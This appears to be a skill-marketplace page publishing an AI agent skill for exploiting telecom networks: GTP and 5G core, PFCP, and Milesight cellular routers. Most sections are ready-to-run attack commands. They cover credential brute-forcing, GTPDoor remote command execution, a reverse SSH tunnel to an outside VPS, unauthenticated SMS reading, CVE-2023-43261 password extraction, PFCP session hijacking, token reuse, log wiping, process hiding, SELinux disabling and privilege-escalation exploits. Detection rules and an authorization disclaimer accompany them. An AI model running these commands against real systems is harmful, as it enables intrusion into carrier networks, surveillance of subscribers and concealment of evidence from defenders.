# Telecom Network Exploitation

> Telecom network security assessment and exploitation techniques for GTP, 5G core, and industrial cellular routers. Use this skill whenever the user mentions telecom networks, mobile core protocols (GTP, PFCP, NAS), 5G security testing, SGSN/GGSN/PGW/AMF/SMF exploitation, industrial cellular routers (Milesight UR-series), GRX/IPX roaming backbones, or any mobile network penetration testing. This skill covers reconnaissance, protocol exploitation, covert channels, privilege escalation on network elements, and detection evasion in telecom environments.

- Skill: `abelrguezr/telecom-network-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/telecom-network-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/telecom-network-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/telecom-network-exploitation

---


# Telecom Network Exploitation Skill

A comprehensive guide for security assessments of telecom infrastructure including 4G/5G core networks, GTP protocol exploitation, and industrial cellular router vulnerabilities.

## When to Use This Skill

Trigger this skill when the user:
- Needs to assess telecom network security (GTP, PFCP, NAS protocols)
- Is testing 5G core network components (AMF, SMF, UPF, MME, SGW, PGW)
- Wants to exploit or test industrial cellular routers (Milesight UR-series)
- Is working with GRX/IPX roaming backbones
- Needs to craft GTP-C/GTP-U packets for testing
- Is investigating 5G NAS security (SUCI, EEA0/EIA0, replay attacks)
- Requires PFCP session manipulation techniques
- Is hunting for telecom-specific attack patterns

## Core Concepts

### Protocol Stack Overview

| Layer | Protocol | Port | Purpose |
|-------|----------|------|----------|
| Control Plane | GTP-C | UDP 2123 | Session management (PDP context) |
| User Plane | GTP-U | UDP 2152 | User data tunneling |
| 5G Control | PFCP | UDP 8805 | UPF control (N4 interface) |
| 5G NAS | NGAP/NAS | N2 interface | UE registration, authentication |
| Management | HTTP/JSON-RPC | 80/443 | Router web APIs |

### Attack Surface Map

```
┌─────────────────────────────────────────────────────────────┐
│                    TELECOM ATTACK SURFACE                   │
├─────────────────────────────────────────────────────────────┤
│  External → GRX/IPX → Core Network → Data Plane             │
│                                                              │
│  [OSS/NE] → [SGSN/MME] → [GGSN/PGW] → [UPF] → [Internet]   │
│     ↑           ↑           ↑           ↑                   │
│  Default     GTP-C       PFCP        GTP-U                  │
│  Credentials  Exploit    Hijack      TEID Spoof             │
│                                                              │
│  [Industrial Routers] → [SMS API] → [Carrier Network]      │
│       ↑                    ↑                                  │
│  CVE-2023-43261        Unauthenticated                      │
│  (Password Leak)       Query/Inject                          │
└─────────────────────────────────────────────────────────────┘
```

## 1. Reconnaissance & Initial Access

### 1.1 Default Credential Testing

Many vendor network elements ship with hardcoded credentials. Use targeted wordlists:

```bash
# Common telecom defaults
root:admin
dbadmin:dbadmin
cacti:cacti
ftpuser:ftpuser
admin:admin

# Brute force with hydra
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://<target> -t 8
```

**Key insight**: If the device exposes only a management VRF, pivot through a jump host first before attempting direct access.

### 1.2 GTP-C Listener Discovery

Map GTP-C services across GRX/IPX backbones:

```bash
# Masscan for GTP-C (UDP 2123)
masscan 10.0.0.0/8 -pU:2123 --rate 50000 \
  --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

# Verify with nmap
nmap -sU -p 2123 --script gtp-c-discovery <target>
```

**Note**: Most GRX operators still allow ICMP echo across the backbone, enabling host discovery.

## 2. Subscriber Enumeration

### 2.1 GTP-C Create PDP Context Probing

Use `cordscan` to enumerate subscribers and discover serving SGSN/MME:

```bash
# Build the tool
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Query a specific IMSI
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```

**What it reveals**:
- Current SGSN/MME serving the IMSI
- Subscriber's visited PLMN
- Network topology information

### 2.2 IMSI Format Reference

```
IMSI: 404995112345678
││││││││││││││││││
││││││││││││││││└─ MSIN (Mobile Station International Subscriber Number)
││││││││││││││└─── MNC (Mobile Network Code, 2-3 digits)
││││││││││││└───── MCC (Mobile Country Code, 3 digits)
```

## 3. Code Execution via GTP

### 3.1 GTPDoor Concept

GTPDoor is a covert channel that:
1. Binds UDP 2123 and parses incoming GTP-C packets
2. Decrypts payloads (AES-128-CBC) when magic tag is present
3. Executes commands via `/bin/sh -c`
4. Exfiltrates output via Echo Response messages

**Why it works**: No outward session is created; traffic blends with legitimate GTP-C.

### 3.2 Crafting GTPDoor Packets

Use the `gtp_craft.py` script (see scripts/):

```bash
# Execute a command via GTPDoor
python3 scripts/gtp_craft.py --type gtpdoor \
  --target 10.10.10.10 \
  --key "SixteenByteKey!" \
  --cmd "id;uname -a"

# Send Create PDP Context probe
python3 scripts/gtp_craft.py --type pdp \
  --imsi 404995112345678 \
  --oper 40499 \
  --target 10.10.10.10
```

### 3.3 Detection Signatures

| Indicator | Description |
|-----------|-------------|
| Unbalanced Echo Requests | Host sending Echo Requests without receiving Echo Responses |
| GTP Version 1 + Message Type 1 | Deviation from spec (Echo should be version 1, type 1) |
| High-rate GTP-C to non-SGSN | Any device other than SGSN/GGSN creating PDP contexts |

## 4. Pivoting Through the Core

### 4.1 SGSN Emulator + SOCKS5

Establish a PDP context tunnel to bypass signaling-only VLANs:

```bash
# Start SGSN emulator (requires OsmoGGSN)
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
       -APN internet -c 1 -d

# Add route through tun0
ip route add 172.16.0.0/12 dev tun0

# Start SOCKS proxy
microsocks -p 1080 &

# Use with proxychains
proxychains curl http://internal-service.local
```

### 4.2 DNS Tunnel for SSH Reverse

DNS is typically open in roaming infrastructures:

```bash
# From compromised host to VPS
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

# VPS must have GatewayPorts enabled in sshd_config
```

## 5. Covert Channels

| Channel | Transport | Encoding | Use Case |
|---------|-----------|----------|----------|
| ICMP EchoBackdoor | ICMP Echo Req/Rep | XOR (4-byte key) | Passive listener, no outbound |
| DNS NoDepDNS | UDP 53 | XOR in A-record | `*.nodep` subdomain |
| GTP GTPDoor | UDP 2123 | AES-128-CBC | Blends with GTP-C traffic |

**Common pattern**: All implants implement watchdogs that timestomp binaries and re-spawn if crashed.

## 6. 5G NAS Security Testing

### 6.1 Registration Flow Overview

```
UE → AMF (N2/NGAP)
  ↓
1. Registration Request (SUCI + capabilities)
  ↓
2. Authentication (RAND/AUTN → RES*)
  ↓
3. Security Mode Command/Complete (EEA/EIA negotiation)
  ↓
4. PDU Session Establishment
```

**Critical window**: Steps 1-2 are unauthenticated and unencrypted.

### 6.2 SUCI/IMSI Privacy Testing

Check for plaintext SUPI/IMSI exposure:

```bash
# Wireshark filters
ngap.procedure_code == 15  # InitialUEMessage
nas-5gs.message_type == 65  # Registration Request

# Check for SUCI vs IMSI
nas-5gs.mobile_identity.suci  # Should exist
nas-5gs.mobile_identity.imsi  # Should NOT exist (privacy defect)
```

**What to collect**: MCC/MNC/MSIN if exposed; track per-UE across time/locations.

### 6.3 Algorithm Downgrade (EEA0/EIA0)

Test for null algorithm acceptance:

```bash
# Using Sni5Gect to patch NAS capabilities
python3 sni5gect.py --hook nas --patch eea0_eia0_only \
  --target 10.10.20.5 --interface eth0

# Verify in Wireshark after Security Mode Command
# Look for: Encryption in use [EEA0]
```

**Mitigation**: Configure AMF to reject EEA0/EIA0 except for emergency services.

### 6.4 NAS Replay Testing

Use 5GReplay to test replay protection:

```bash
# Capture registration
python3 5greplay.py --capture --output reg_capture.xml

# Replay with rule
python3 5greplay.py --replay reg_capture.xml \
  --rule initial_ue_message_forward.xml
```

**What to observe**: Whether AMF accepts replay and proceeds to authentication.

## 7. Industrial Router Exploitation

### 7.1 Milesight UR-Series SMS API Abuse

Unauthenticated SMS query/inject on exposed `/cgi` endpoint:

```bash
# Query outbox
curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_outbox","function":"query_outbox", \
       "values":[{"page":1,"per_page":100}]}'

# Query inbox
curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_inbox","function":"query_inbox", \
       "values":[{"page":1,"per_page":100}]}'
```

**Response fields**: `timestamp`, `content`, `phone_number` (E.164), `status`

### 7.2 CVE-2023-43261 Password Recovery

Affected: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)

```bash
# Extract encrypted password from logs
curl -sk http://<router>/lang/log/httpd.log | \
  grep -o '"password":"[^"]*"' | head -5

# Decrypt with script
python3 scripts/decrypt_milesight.py --encrypted "<base64_value>"
```

**Key/IV**: Hardcoded in client-side JavaScript (KEY=`1111111111111111`, IV=`2222222222222222`)

### 7.3 Detection Patterns

| Pattern | Indicator |
|---------|-----------|
| Unauthenticated `/cgi` POST | JSON with `base`/`function` = `query_inbox`/`query_outbox` |
| Capability testing | Repeated `POST /cgi` with `status":"failed"` to many numbers |
| Exposed logs | `/lang/log/system` or `/lang/log/httpd.log` accessible |

## 8. PFCP Session Hijacking

### 8.1 Session Modification Attack

If PFCP is accessible on N4, craft Session Modification Request:

```bash
# Use the pfcp_hijack.py script
python3 scripts/pfcp_hijack.py \
  --upf 10.10.20.5 \
  --seid 0x123456789abc \
  --pdr-id 7 \
  --far-id 77 \
  --sink-ip 203.0.113.55 \
  --teid 0xdeadbeef
```

**Mechanism**: Insert duplicate PDR with smaller precedence; some UPFs apply first match.

### 8.2 GTP-U TEID Spoofing

Inject user traffic by spoofing TEIDs:

```bash
# Craft GTP-U packet with known TEID
python3 scripts/gtp_craft.py --type gtpu \
  --teid 0x7ffed00 \
  --dst 10.10.20.8 \
  --inner-src 10.0.0.10 \
  --inner-dst 1.1.1.1 \
  --inner-dport 443
```

**Prerequisite**: Learn active TEIDs via passive sniffing on N3/N6.

## 9. SBA/SBI Fuzzing

### 9.1 Cross-Service Token Attack

Reuse tokens across NF services when audience checks are missing:

```bash
# Steal token from one NF, use on another
curl -sk -H "Authorization: Bearer $TOKEN" \
     -H "Host: smf.internal" \
     https://smf.internal/nsmf-pdusession/v1/sm-contexts
```

### 9.2 Automated Fuzzing

Use FivGeeFuzz with derived grammars:

```bash
python3 fivgeefuzz.py --nf nsmf-pdusession \
  --target https://smf.internal \
  --grammar grammars/nsmf-pdusession.json \
  --token "$TOKEN" --threads 8 --max-cases 500
```

**Watch for**: 401/403 bypasses, crashes in SMF/AMF pods.

## 10. Defense Evasion

### 10.1 Log Manipulation

```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/<attacker_ip>/d' | \
  utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null
history -c
```

### 10.2 Process Hiding

```bash
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup
printf '\0' > /proc/$$/comm  # Appears as [kworker/1]

# Timestomp binaries
touch -r /usr/bin/time /path/to/implant
```

### 10.3 SELinux Bypass

```bash
setenforce 0  # Disable SELinux (requires root)
```

## 11. Privilege Escalation on Network Elements

### 11.1 Common Exploits

| CVE | Target | Command |
|-----|--------|----------|
| CVE-2016-5195 | Linux kernel (DirtyCow) | `gcc dirty.c -o dirty && ./dirty /etc/passwd` |
| CVE-2021-4034 | polkit (PwnKit) | `python3 PwnKit.py` |
| CVE-2021-3156 | sudo (Baron Samedit) | `python3 exploit_userspec.py` |

### 11.2 Cleanup

```bash
userdel <attacker_user> 2>/dev/null
rm -f /tmp/sh
history -c
```

## 12. Detection & Hunting

### 12.1 Network Detection Rules

| # | Detection | Query Pattern |
|---|-----------|---------------|
| 1 | Non-SGSN GTP-C | `udp.port==2123 and not src.ip in sgsn_range` |
| 2 | SSH on non-standard ports | `tcp.port in (53,80,443) and tcp.flags.syn==1 and ssh.handshake` |
| 3 | GTPDoor beacons | `udp.port==2123 and gtp.type==1 and echo_request_count > echo_response_count` |
| 4 | ICMP covert channel | `icmp.type==0 and icmp.identifier > 0 and icmp.sequence > 0` |
| 5 | 5G NAS replay | `ngap.procedure_code==15 and nas.message_type==65 and same_source_ip` |
| 6 | Null algorithm negotiation | `nas.security_mode and eea==0 or eia==0` |
| 7 | PFCP hijack | `pfcp.msg_type==MODIFICATION and duplicate_pdr_id` |
| 8 | Cross-service token | `http.authorization.bearer and aud != target_nf` |

### 12.2 Asset Inventory

```bash
# Shodan queries for exposed routers
shodan search http.html:"rt_title"  # Milesight panels
shodan search "Milesight" "UR32" "UR35" "UR41"

# Google dorking
google "/lang/log/system" ext:log
google inurl:/cgi "query_outbox"
```

## 13. Tool Box

| Tool | Purpose | Source |
|------|---------|--------|
| `cordscan` | GTP-C subscriber enumeration | Custom (Go) |
| `GTPDoor` | Covert GTP command execution | Custom |
| `EchoBackdoor` | ICMP covert channel | Custom |
| `NoDepDNS` | DNS covert channel | Custom |
| `sgsnemu` | SGSN emulator for pivoting | OsmoGGSN |
| `5GReplay` | 5G NAS replay testing | Custom |
| `Sni5Gect` | Live NAS sniff/modify/inject | Custom |
| `FivGeeFuzz` | SBA/SBI fuzzing | Academic (2025) |
| `FScan` | Intranet TCP sweeps | Public |
| `Responder` | LLMNR/NBT-NS rogue WPAD | Public |
| `Microsocks` | SOCKS5 proxy | Public |
| `FRP` | NAT traversal | Public (≥0.37) |

## 14. Lab Setup

### 14.1 5G Core Testbed

```bash
# Open5GS deployment (sufficient for most tests)
docker-compose -f open5gs-compose.yaml up -d

# Components: AMF, SMF, UPF, HSS, PCF
# Interfaces: N1 (UE-AMF), N2 (gNB-AMF), N4 (SMF-UPF)
```

### 14.2 Wireshark Display Filters

```wireshark
# NGAP InitialUEMessage
ngap.procedure_code == 15

# NAS Registration Request
nas-5gs.message_type == 65

# GTP-C Create PDP Context
gtpv1.message_type == 1

# PFCP Session Modification
pfcp.msg_type == 25

# SUCI vs IMSI
nas-5gs.mobile_identity.suci
nas-5gs.mobile_identity.imsi
```

## 15. References

### Standards
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (GTPv1)
- 3GPP TS 29.281 – GTPv2-C
- 3GPP TS 24.501 – NAS protocol for 5GS
- 3GPP TS 33.501 – Security architecture for 5G System

### Research & Reports
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- [Bishop Fox – Demystifying 5G Security](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- [Sekoia.io – Silent Smishing](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [Cross-Service Token in 5G Core](https://api-security.blog/2025/09/12/cross-service-token-finding-attacks-in-5g-core-networks/)

### Vulnerabilities
- CVE-2016-5195 (DirtyCow)
- CVE-2021-4034 (PwnKit)
- CVE-2021-3156 (Baron Samedit)
- CVE-2023-43261 (Milesight Password Leak)

---

## Usage Notes

1. **Legal compliance**: Only use these techniques on networks you own or have explicit authorization to test.

2. **Lab first**: Always validate techniques in a controlled lab environment (Open5GS, OAI) before field deployment.

3. **Documentation**: Record all findings, including false positives and detection bypasses.

4. **Tool updates**: Keep custom tools updated; telecom protocols evolve with 3GPP releases.

5. **Defense perspective**: Understanding these attacks helps design better detection rules and hardening measures.